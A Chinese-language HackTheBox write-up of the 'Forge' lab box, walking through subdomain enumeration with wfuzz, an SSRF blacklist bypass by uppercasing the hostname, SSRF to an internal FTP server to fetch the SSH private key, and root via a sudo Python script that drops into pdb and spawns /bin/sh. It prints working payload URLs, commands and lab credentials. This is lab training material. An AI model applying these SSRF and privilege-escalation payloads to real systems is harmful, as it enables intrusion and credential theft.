CTF-Forge HackTheBox渗透测试(四)
2022-10-18 07:8:17 Author: 红日安全(查看原文) 阅读量:8 收藏

CTF-Horizontall HackTheBox 

0X01 

Forge是一个CTF Linux盒子,在HackTheBox平台的难度范围内被评为“中等”。该靶场内容涵盖了子域枚举、SSRF攻击和用于特权升级的python脚本的逆向工程。

0X02 渗透路径

2.1信息收集

·Nmap

2.2目录列举

·使用wfuzz进行子域枚举

·在Web应用程序上检查文件上传过滤器

2.3漏洞利用

·利用SSRF读取私有SSH密钥

·使用此SSH密钥登录

2.4权限提升

·了解以sudo运行的python脚本

·通过利用pdb获得根

0x03 信息收集

靶场机分配专用IP地址是10.129.164.116。使用nmap端口扫描工具对靶场IP nmap扫描。我们查看nmap扫描结果,服务器试图将请求重定向到http://forge.htb。我们将在主机文件中添加此IP并访问网络服务器。3.1

nmap -sV -sC -p 1-1000 10.129.164.116

3.1 namp

现在,我们访问靶场服务器,该服务器似乎正在运行一个图片画展网站。(3.2

3.2 访问网站页面

0x04 目录枚举

正如我们所看到的,图片画展中有一个上传功能。我们尝试上传PHP有效负载并获得反向shell,但没有成功。然而,文件正在上传到服务器,内容在那它没有执行代码。

然而,由于该网站正在重定向到 forge.htb,因此网站上可能还有其他子域。我们为这个暴力使用了wfuzz(以及秘密列表的单词列表)。

wfuzz -w /home/kali/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "主机:FUZZ.forge.htb" --sc 200 10.129.164.116

这表明admin.forge.htb存在。4.1

4.1 子域名枚举

然而,在使用curl打开URL时,发现了一个错误。意味着服务器上有一个访问控制过滤器。4.2

echo "10.129.164.116 admin.forge.htb" >> /etc/hosts
curl http://admin.forge.htb/

4.2 访问admin页面

因此,我们查看另一个上传选项“可以上传URL网站”。只允许HTTP、HTTPS URL。(如图4.3所示)

4.3 支持http/https协议访问

我使用netcat在端口80上设置了一个监听器,输入http://10.10.16.10/shell.php使用我的HTB隧道IP。(如图4.4所示)

4.4 设置htb隧道地址

在我的netcat监听器上,我可以看到试图获取shell.php的网站。这里有一些需要注意的内容:

·服务器试图从我的IP中获取指定的文件shell.php

·请求在主机头中了我的IP

·用户代理是python-requests,这是一个python爬虫(如图4.5所示)

4.5 设置监听反弹访问网站内容

0x05 漏洞利用

现在服务器已经建立,服务器试图获取远程文件,我们可以从这里开始渗透。我的第一个想法是使用此远程URL功能访问admin.forge.htb,因为该页面只允许localhost访问。通过访问我们发现了一个新问题。(如图5.1所示)

5.1访问admin子域禁止黑名单

这个地址被列入黑名单。让我们看看是否可以在所有大写字母(ADMIN.forge.htb)中键入子域“admin”来绕过这一点,这个也是渗透测试中常常绕过waf的方式,尤其是注入、xss等类型的漏洞。通过转换大小写看起来我们现在可以访问admin.forge.htb这个应用网站。这个漏洞被称为SSRF(服务器端请求伪造),攻击者能够篡改服务器上的后端请求,并突破各种访问控制(如这里的本地主机),以访问敏感文件,甚至获得远程shell。(如图5.2所示)

5.2 通过大小写绕过本地访问策略

这告诉我一个页面/公告,然后我试图使用http://ADMIN.forge.htb/announcements访问该页面/公告,但这也被列入黑名单。所以,我使用了这个有效载荷:

http://ADMIN.FORGE.htb/announcements

curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1

从这一结果中推断出的重要关键点如下:

·内部FTP服务器正在运行,其凭据为用户:heightofsecurity123!

·上传文件选项支持FTP和FTPS

·?u=可用于在/uploads页面上上传图像。(如图5.3所示)

5.3 发现ftp服务器登录账号密码

因此,如果/上传方式支持通过URL和FTP协议进行包含,我们可以利用SSRF并访问内部FTP服务器!我使用的有效载荷是(如图5.4所示)

http://ADMIN.FORGE.htb/upload?u=ftp://user:[email protected]/

5.4 登录ftp服务器查看文件列表

现在,如果我能访问user.txt,可能也可以访问私有SSH密钥。我使用这个有效载荷做到了这一点:(如图5.5所示)

http://ADMIN.FORGE.htb/upload?u=ftp://user:[email protected]/.ssh/id_rsa

5.5 查看ssh的id_rsa密钥

将该密钥保存在我的本地系统中,我们可以登录受害者框。(如图5.6所示)

nano id_rsa

chmod 600 id_rsa

ssh -i id_rsa [email protected]

5.6 ssh登录服务器

  0x06 特权升级

现在我们有了一个稳定的用户shell,我们可以持续权限提升。我检查了sudoers文件,该文件有一个python脚本可以作为root运行。此脚本打开了一个监听器,供远程客户端连接。此外,它将输入密码与硬编码的凭据secretadminpassword进行比较(如图6.1所示

sudo -l

cat /opt/remote-manage.py

6.1发现配置文件账号密码

让我们这样做,然后从另一个终端再次登录此用户,并使用netcat连接到脚本。(如图6.2所示

sudo /usr/bin/python3 /opt/remote-manage.py

nc localhost 55465

6.2 打开另外一个终端连接服务器

现在,我正在有效地与一个root运行的python脚本进行通信。你会注意到这个脚本还有缺陷。如果我输入“秘密管理员密码”以外的任何内容,它就会抛出异常并打开Python调试器。(如图6.3所示

6.3 python导入os模块

现在,我们有一个Python调试器(pdb)作为root运行。如果这个缺陷不存在,我们会使用缓冲区溢出攻击进入调试器。无论如何,我们可以使用调试器作为root执行任何功能。我在这里使用了gtfobins使用的技术。只需使用os模块调用shell。这就是我们在这个渗透盒子的root权限。 (如图6.4所示

import os;os.system(“/bin/sh”)

id

cat /root/root.txt

6.4 提升权限为root用户

0x07 结论

这个渗透测试靶场虚拟中,我们涵盖了子域枚举、SSRF和基本的Python逆向工程。希望你喜欢这篇文章。

本系列准备开启国内外安全靶场渗透测试系列也欢迎大家投稿VulnStackVulnhubHTB

红日安全长期、短期项目招聘:Hvv、重保、安服、培训等项目

文章投稿&项目招聘邮箱:

[email protected]

同样感谢一直在安全圈中深耕着的每一位hacker

描下方二维码,期待加入红日安全交流群:

有幸一起并肩前行,有幸一起见证着“红日”成长。在大家身上我已经收获得足够多了,是时候用实际行动向安全世界说声谢谢了。

  

 jia  

|

使
全)

   


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NjEyMDk0MA==&mid=2649851371&idx=1&sn=309b93ef2afb0b7ffe1596d06ccb4638&chksm=f3e4eb68c493627e7b69cfc54c7cc1e583d36af31e9f590c0da86e4115f8b9d398259779b3ce#rd
如有侵权请联系:admin#unsafe.sh